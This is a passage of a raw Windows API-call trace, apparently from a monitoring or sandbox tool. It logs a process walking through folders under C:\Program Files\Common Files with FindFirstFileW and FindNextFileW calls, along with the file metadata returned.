ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c693e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x3f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee100.tlb", cAlternateFileName="VSTOEE~1.TLB")) returned 1 [0088.335] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0088.335] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0088.335] FindClose (in: hFindFile=0x2684270 | out: hFindFile=0x2684270) returned 1 [0088.335] GetProcessHeap () returned 0x550000 [0088.335] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0088.335] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Folders", cAlternateFileName="WEBFOL~1")) returned 1 [0088.336] GetProcessHeap () returned 0x550000 [0088.336] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0088.336] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684270 [0088.338] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.338] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0088.338] GetProcessHeap () returned 0x550000 [0088.338] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0088.338] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0088.338] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.339] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 1 [0088.339] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 0 [0088.339] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0088.339] GetProcessHeap () returned 0x550000 [0088.339] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0088.339] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 1 [0088.339] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 0 [0088.339] FindClose (in: hFindFile=0x2684270 | out: hFindFile=0x2684270) returned 1 [0088.340] GetProcessHeap () returned 0x550000 [0088.340] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0088.340] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0088.340] GetProcessHeap () returned 0x550000 [0088.340] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0088.340] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684270 [0088.342] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.342] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0088.342] GetProcessHeap () returned 0x550000 [0088.342] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0088.342] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0088.342] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.342] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1 [0088.343] GetProcessHeap () returned 0x550000 [0088.343] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0088.344] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0088.348] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.348] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0088.348] GetProcessHeap () returned 0x550000 [0088.348] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x35d0048 [0088.349] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*", lpFindFileData=0x2c9e698 | out: lpFindFileData=0x2c9e698*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684370 [0088.351] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e698 | out: lpFindFileData=0x2c9e698*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.351] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e698 | out: lpFindFileData=0x2c9e698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 1 [0088.351] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e698 | out: lpFindFileData=0x2c9e698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 0 [0088.351] FindClose (in: hFindFile=0x2684370 | out: hFindFile=0x2684370) returned 1 [0088.353] GetProcessHeap () returned 0x550000 [0088.353] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x35d0048 | out: hHeap=0x550000) returned 1 [0088.353] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c366f00, ftCreationTime.dwHighDateTime=0x1cac0be, ftLastAccessTime.dwLowDateTime=0x6193ae30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c366f00, ftLastWriteTime.dwHighDateTime=0x1cac0be, nFileSizeHigh=0x0, nFileSizeLow=0x267d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0088.353] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 1 [0088.353] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 0 [0088.353] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0088.354] GetProcessHeap () returned 0x550000 [0088.354] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0088.354] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0088.354] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0088.354] GetProcessHeap () returned 0x550000 [0088.354] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0088.354] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0088.354] FindClose (in: hFindFile=0x2684270 | out: hFindFile=0x2684270) returned 1 [0088.355] GetProcessHeap () returned 0x550000 [0088.355] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0088.358] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0088.358] FindClose (in: hFindFile=0x2684230 | out: hFindFile=0x2684230) returned 1 [0088.358] GetProcessHeap () returned 0x550000 [0088.359] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5fb100 | out: hHeap=0x550000) returned 1 [0088.359] FindNextFileW (in: hFindFile=0x26841f0, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0088.359] GetProcessHeap () returned 0x550000 [0088.359] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0088.360] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684230 [0088.360] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.360] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0088.360] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0088.361] FindClose (in: hFindFile=0x2684230 | out: hFindFile=0x2684230) returned 1 [0088.361] GetProcessHeap () returned 0x550000 [0088.361] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0088.361] FindNextFileW (in: hFindFile=0x26841f0, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="SPEECH~1")) returned 1 [0088.361] GetProcessHeap () returned 0x550000 [0088.361] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0088.361] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\*", lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684230 [0088.361] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 